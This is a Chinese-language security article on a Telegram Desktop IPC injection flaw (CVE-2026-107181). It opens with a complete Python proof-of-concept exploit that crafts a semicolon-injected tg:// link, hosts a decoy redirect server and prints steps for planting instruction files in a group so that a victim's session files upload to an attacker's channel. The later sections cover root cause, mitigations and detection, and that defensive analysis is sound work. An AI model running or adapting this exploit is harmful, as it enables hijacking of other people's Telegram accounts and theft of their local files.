Telegram Desktop 一键账号接管(CVE-2026-107181)

· 2026-11-05 10:00 · 4 阅读

原创 67626d 2026-11-05 10:00 北京

Telegram Desktop 一键账号接管(CVE-2026-107181)

poc走在前面

    #!/usr/bin/env python3
    """
    CVE-2026-107181 - Telegram Desktop <= 7.2.8
    IPC record-separator injection -> interpret: arbitrary file read -> account takeover


    When Telegram Desktop is already running, a clicked tg:// link is forwarded
    from the second process to the first over a local socket as text records:


        OPEN:<url>;


    Semicolons in <url> are not escaped, so the receiver splits one link into
    several commands. The internal `interpret:` scheme (a leftover release
    tooling helper, removed in 7.2.9) reads an instruction file and uploads an
    arbitrary local file to a chat, with no confirmation and no auth check.


    Chained with Telegram's default auto-download of group files (which lands
    attacker-written instruction files at a predictable path), one clicked link
    exfiltrates tdata/key_datas + session files -> full session hijack.


    Reference: https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/
    Patch:     https://github.com/telegramdesktop/tdesktop/commit/db3405699f (7.2.9)


    LAB / EDUCATIONAL USE ONLY. Test against systems and accounts you own.
    """


    import argparse
    import os
    import sys
    from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


    # Files that make up a Telegram Desktop session (Windows, default data name).
    # key_datas holds salt + wrapped DEK; with no local passcode the KEK derives
    # from an empty password, so these three files are the whole login.
    SESSION_FILES = [
        "tdata/key_datas",
        "tdata/D877F783D5D3EF8Cs",
        "tdata/D877F783D5D3EF8C/maps",
    ]


    # Victim's auto-download dir, relative to %APPDATA%\Telegram Desktop
    # (interpret: resolves relative paths from Telegram's working directory).
    # %20 = space. Three levels up lands in the user profile, then Downloads.
    DEFAULT_DL_PATH = "../../../Downloads/Telegram%20Desktop"


    DECOY = (b"<!doctype html><html><head><meta charset='utf-8'>"
             b"<title>Community Rules</title></head><body>"
             b"<h1>Community Rules</h1><p>Be respectful. No spam.</p>"
             b"</body></html>")



    def build_payload(dl_path: str, count: int) -> str:
        """Craft the tg:// URL whose semicolons become extra OPEN: records."""
        payload = "tg://x?a=1"  # carrier URL, matches no handler
        for i in range(1, count + 1):
            payload += f";OPEN:interpret:{dl_path}/i{i}.txt"
        return payload



    def write_instruction_files(channel: str, outdir: str) -> None:
        """Instruction files for interpret: - plain text, LF, no BOM, no 'from:'
        (omitting from: skips the account-id check). channel: wants the bare
        MTProto peer id: Bot API id -1004488553400 -> 4488553400."""
        os.makedirs(outdir, exist_ok=True)
        for idx, path in enumerate(SESSION_FILES, 1):
            content = f"channel: {channel}\nfile: {path}\ncaption: poc\n"
            target = os.path.join(outdir, f"i{idx}.txt")
            with open(target, "w", encoding="ascii", newline="\n") as fh:
                fh.write(content)
            if b"\r" in open(target, "rb").read() or \
               open(target, "rb").read(3) == b"\xef\xbb\xbf":
                sys.exit(f"[!] {target}: bad line endings or BOM")
            print(f"[+] wrote {target}")



    def serve(payload: str, host: str, port: int) -> None:
        class Handler(BaseHTTPRequestHandler):
            protocol_version = "HTTP/1.1"


            def do_GET(self):
                if self.path.startswith("/go"):
                    self.send_response(302)
                    self.send_header("Location", payload)
                    self.send_header("Content-Length", "0")
                    self.end_headers()
                    print(f"[+] HIT {self.path} from {self.client_address[0]}",
                          flush=True)
                else:
                    self.send_response(200)
                    self.send_header("Content-Type", "text/html; charset=utf-8")
                    self.send_header("Content-Length", str(len(DECOY)))
                    self.end_headers()
                    self.wfile.write(DECOY)


            def log_message(self, *args):
                pass


        print(f"[*] exploit server on {host}:{port}")
        print(f"[*] post this link in the group:  http://<YOUR-IP>:{port}/go")
        ThreadingHTTPServer((host, port), Handler).serve_forever()



    def main():
        p = argparse.ArgumentParser(
            description="CVE-2026-107181 PoC - Telegram Desktop IPC injection "
                        "-> arbitrary file read (lab use only)")
        p.add_argument("-c", "--channel", required=True,
                       help="bare supergroup id (strip -100: -1004488553400 -> "
                            "4488553400)")
        p.add_argument("-p", "--port", type=int, default=8080)
        p.add_argument("--host", default="0.0.0.0")
        p.add_argument("--outdir", default="out",
                       help="where to write the instruction files")
        p.add_argument("--dl-path", default=DEFAULT_DL_PATH,
                       help="URL-encoded relative path of the victim's "
                            "Telegram auto-download folder")
        args = p.parse_args()


        channel = args.channel[4:] if args.channel.startswith("-100") \
            else args.channel
        if not channel.isdigit():
            sys.exit("[!] channel id must be numeric (bare id, no -100 prefix)")


        print("[*] CVE-2026-107181 PoC - Telegram Desktop <= 7.2.8")
        write_instruction_files(channel, args.outdir)
        print("[*] steps:")
        print("    1. post the files from --outdir as FILE attachments into the "
              "supergroup")
        print("    2. victim opens the group (auto-download lands them in "
              "Downloads\\Telegram Desktop\\)")
        print("    3. victim clicks the link, Telegram <= 7.2.8 must be RUNNING")
        print("    4. session files are uploaded to the group -> rebuild tdata")
        serve(build_payload(args.dl_path, len(SESSION_FILES)),
              args.host, args.port)



    if __name__ == "__main__":
        main()

    一个特制的tg://链接,利用Telegram Desktop「单实例进程间通信(IPC)」通道未转义的记录分隔符,向主进程注入额外命令,最终触达一个遗留的interpret:内部处理器,把本地任意文件(含tdata会话密钥)静默发送到攻击者控制的频道——若受害者未设本地密码,即可被完整接管账号。这是一个经典的「分隔符注入(CWE-143)」叠加「遗留危险功能」导致的严重信息泄露/账号接管漏洞。

    1. 漏洞档案

    项

    内容

    CVE

    CVE-2026-107181

    组件

    Telegram Desktop Core::Sandbox(单实例IPC 处理),support_helper.cpp中的interpret:处理器

    弱点分类

    CWE-143:Improper Neutralization of Record Delimiters(记录分隔符处理不当)

    影响版本

    Telegram Desktop < 7.2.9(公开复现覆盖6.9.3 → 7.2.8)

    修复版本

    7.2.9(2026-09-17 发布;修复 commit db3405699f8fc3ae28a58d2348b7d13a43c0590a于09-16)

    CVSS

    3.1 = 8.1(High);4.0 = 8.6(High)(VulnCheck 作为 CNA 给 8.6)

    攻击向量

    Network(AV:N);无需本地权限(PR:N);需用户交互(UI:R / UI:P)

    影响面

    机密性High、完整性 High、可用性 None

    发现者

    Emiliano Versini(beaksec);技术文2026-10-03 发布、10-07 更新

    CVE 分配

    VulnCheck,2026-10-07

    报送路径

    经Zero Day Initiative(ZDI)于 2026-06-25 报送;ZDI 于 09-30 以"已修复"结案

    在野利用

    截至披露,无在野利用证据;未列入CISA KEV

    公开PoC

    已存在(多个GitHub 仓库,见第 8 节)

    已验证平台

    仅Windows;macOS / Linux 未在技术文中验证(CVE 文本却全平台标注)

    供应商透明度警示:Telegram 在 7.2.9 的更新日志中只字未提安全问题,仅标注"渲染修复(rendering fix)",且无独立安全公告。安全团队若只靠 changelog 跟踪补丁状态,极易漏掉这次实质性修复。

    2. 机理拆解

    2.1 单实例 IPC 通道:本地信道被默认可信

    Telegram Desktop 是「单实例」应用——同一时间只跑一个进程。当 Telegram 已在后台运行时,用户在浏览器(或任何外部程序)里点击一个tg://链接,系统会启动一个临时的新Telegram 进程,该进程发现已有实例在跑,便通过本地socket(命名管道/套接字)把链接原文转发给主进程,随后自己退出。主进程解析消息后把对应聊天拉到前台。

    关键:这条本地IPC 通道默认假定"本地来的就是可信的"。点到即用的便利,埋下了"本地信道不可盲信"的坑——和浏览器、IDE 的单实例机制同源,但 Telegram 的序列化格式恰好可被注入。

    2.2 根因:记录分隔符 ;未转义(CWE-143)

    Telegram 的 IPC 序列化格式形如 关键字:参数;,用分号(;)作为命令/记录分隔符。例如主进程构造的消息是:

    OPEN:tg://<被点击的链接>;

    问题出在:应用把用户点击的链接原样拼进OPEN:记录,却没有对链接内容里的;做转义。链接文本完全由攻击者构造,于是:

    l攻击者只需在链接中嵌入一个;,接收端就会把"一条记录"误判成"两条记录";

    l后半段被当成一条独立的合法内部命令执行。

    这本质和SQL 注入、HTTP 请求走私同源:用分隔符拼接字段、又允许字段内含该分隔符,接收方就无法区分"带特殊值的字段"和"两条独立字段"。

    2.3 放大器:遗留的 interpret:内部处理器

    注入的命令触达了一个名为interpret:的URI 方案处理器。它原本是为自动发布(release publishing)流程设计的遗留内部辅助功能,从未按"不可信输入"来设计:

    l它读取本地的一个指令文件,按其中描述把指定文件发送到指定聊天/频道;

    l无任何权限校验、无用户确认弹窗。

    因此注入的OPEN:interpret:...记录,可以让Telegram 主动把机器上任意本地文件(不止 tdata,还包括浏览器会话、SSH 密钥、加密钱包等)静默上传到攻击者频道。

    2.4 修复做了什么(commit db3405699f)

    l彻底移除interpret:方案;

    l对单实例socket 上的记录分隔符做转义处理;

    l叠加额外防护:同一连接中若出现OPEN:记录,则忽略CMD: / CTRL:记录;一旦遇到非本地URL,立即丢弃本地文件路径。

    3. 完整攻击链(公开披露版,分阶段)

    以下为公开技术文描述的"完整链路"抽象概括,用于理解威胁模型与检测点。不包含可直接复制的恶意payload,也不提供针对具体受害者的投递步骤。

    阶段

    动作

    依赖的前提(默认配置)

    ① 落盘

    攻击者将小型"指令文件"作为附件发进 Telegram 群,群组自动下载(默认≤ 8 MiB)把文件落到可预测路径

    群组自动下载开启;路径可预测(如C:\Users\<user>\Downloads\Telegram Desktop\)

    ② 加群

    攻击者建超级群并把受害者拉入——默认隐私允许"任何人可把我加进群"

    "谁可以把我加进群组"为默认(非仅联系人)

    ③ 触发

    受害者点击一个普通HTTPS 链接,浏览器重定向到一个特制tg://链接

    链接须在Telegram 外部(如浏览器)打开;在Telegram 内部点击走另一不受影响路径

    ④ 注入

    tg://链接内嵌的;把IPC 消息拆成多条记录,注入 OPEN:interpret:...命令

    浏览器唤起桌面端前通常会弹确认框(额外一道门槛)

    ⑤ 外发

    interpret:处理器按指令文件,把tdata目录下的三类关键文件发往攻击者频道

    三类文件:key_datas(盐值+加密的 DEK)、MTProto 授权文件、索引映射

    ⑥ 接管

    受害者未设本地密码(默认)→ 盐值+空密码可推导出密钥加密密钥 → 解开数据加密密钥 → 攻击者在全新 Telegram 安装上重建会话、登录账号

    本地密码未启用

    关键边界(避免误读"一键"):

    l必须是在Telegram 外部点击的tg://链接;App 内部点击走不同代码路径,不受影响。

    l"一键"成立依赖多个默认配置同时为真:群组自动下载开启、允许被任意加群、未设本地密码。浏览器唤起应用前的确认框也增加了一道门槛。

    l公开复现链在Windows验证;macOS/Linux 有效性未在技术文中确认(CVE 文本仍全平台标注,企业应视为潜在受影响并采取缓解)。

    4. 利用现状与 PoC

    l公开PoC 已存在,且被多家媒体称为"working PoC"。公开仓库见第 8 节(00nx、abdugafforov-bobur、SeanDishman 等)。

    l公开PoC 属于完整的"崩溃/外发/接管可行性"验证范畴。本文不搬运、不重述其weaponizable 部分。

    l截至披露,无在野利用证据,未入CISA KEV。但"公开可用 PoC"通常会迅速缩小"理论可行"与"实际被滥用"之间的窗口——这正是要求立即打补丁的理由。

    5. 影响面与边界(诚实标注)

    维度

    说明

    已验证平台

    仅Windows(6.9.3 起至 7.2.8)

    CVE 文本范围

    全平台Telegram Desktop(macOS/Linux 未在文中验证,建议同等对待)

    是否入KEV

    否(截至披露)

    在野利用证据

    无(截至披露)

    "一键"前提

    外部点击+ 群组自动下载 + 可被任意加群 + 未设本地密码,缺一不可

    可窃取范围

    不止tdata:任意本地可读文件(浏览器会话、SSH 密钥、加密钱包等)

    6. 修复与版本线

    动作

    说明

    升级

    Telegram Desktop ≥ 7.2.9(披露时最新为7.3.0,建议直接升到最新稳定版)

    验证构建

    确认客户端内部版本号≥ 7.2.9,不要只看"已是最新"弹窗

    非官方客户端

    使用非官方/改版客户端的用户,在相关补丁发布前应暂时切回官方客户端

    7. 防御与检测(蓝队视角)

    7.1 个人/终端缓解

    动作

    说明

    立即升级

    所有受管Windows 终端升到 ≥ 7.2.9

    启用本地密码

    设置→ 隐私与安全 → 本地密码;即使会话文件被偷,密码也会加密tdata,阻止即时接管

    关闭自动下载

    改为"每次询问保存位置",消除指令文件自动落盘路径

    收紧加群权限

    "谁可以把我加进群组"设为仅联系人,切断被动加群环节

    警惕外部唤起

    对浏览器请求"用 Telegram 打开"的弹窗保持戒备,尤其来自陌生链接

    7.2 检测指标(可沉淀为规则)

    l进程/网络侧:监控Telegram 进程向外(攻击者频道)的异常文件上传行为、异常的子进程派生。

    l端点侧:关注tdata目录下key_datas、MTProto 授权文件、索引映射的非常规读取/外发。

    l行为侧:同机出现"外部 tg://唤起+ 随后向未知频道发送文件"的组合事件,高度可疑。

    l补丁SLA:将桌面IM 客户端纳入常规补丁确认清单,不依赖厂商changelog 是否提及安全。

    8. 引用链(带 URL + 日期)

    1.beaksec 技术文(原始披露):https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ — 发布 2026-10-03,更新 2026-10-07

    2.NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-107181 — 标记 "Awaiting Enrichment"

    3.Debian Security Tracker:https://security-tracker.debian.org/tracker/CVE-2026-107181 — Bug 1150328

    4.OpenCVE:https://www.opencve.io/cve/CVE-2026-107181

    5.CVE-DB(含 PoC 仓库链接):https://www.cve-db.com/cves/CVE-2026-107181

    6.VulnCheck 公告(CNA,CVSS 4.0 8.6):https://www.vulncheck.com/advisories/telegram-desktop-before-7.2.9-ipc-record-injection-file-exfiltration-via-interpret-scheme

    7.修复commit:https://github.com/telegramdesktop/tdesktop/commit/db3405699f8fc3ae28a58d2348b7d13a43c0590a

    8.受影响代码(v7.2.8):sandbox.cpp#L362-L364、support_helper.cpp#L673-L751— https://github.com/telegramdesktop/tdesktop

    9.发布标签v7.2.9:https://github.com/telegramdesktop/tdesktop/releases/tag/v7.2.9

    10.公开PoC 仓库(多份,仅列作溯源,不搬运内容):

    ¡https://github.com/00nx/telegram-account-takeover-poc

    ¡https://github.com/abdugafforov-bobur/cve-2026-107181-poc

    ¡https://github.com/SeanDishman/telegram-cve-2026-107181

    11.媒体/二次报道(机理交叉验证):

    ¡Secure Bulletin:https://securebulletin.com/telegram-desktop-patches-high-severity-ipc-bug-that-enabled-one-click-account-hijacking/

    ¡FreeBuf(中文):https://www.freebuf.com/articles/system/505519.html

    ¡Enigma Global:https://www.enigma-global.com/preview/news/44425

    ¡ZyVOP:https://zyvop.com/how-a-single-link-could-steal-your-telegram-desktop-session-69xnx

    ¡駿捷科技(中文):https://www.dreamjtech.com/35372

    12.EUVD(欧盟漏洞库):EUVD-2026-94329

    跳转微信打开

    本文转载自微信公众号「暗影安全」,查看原文。版权归原作者所有,如有侵权请联系删除。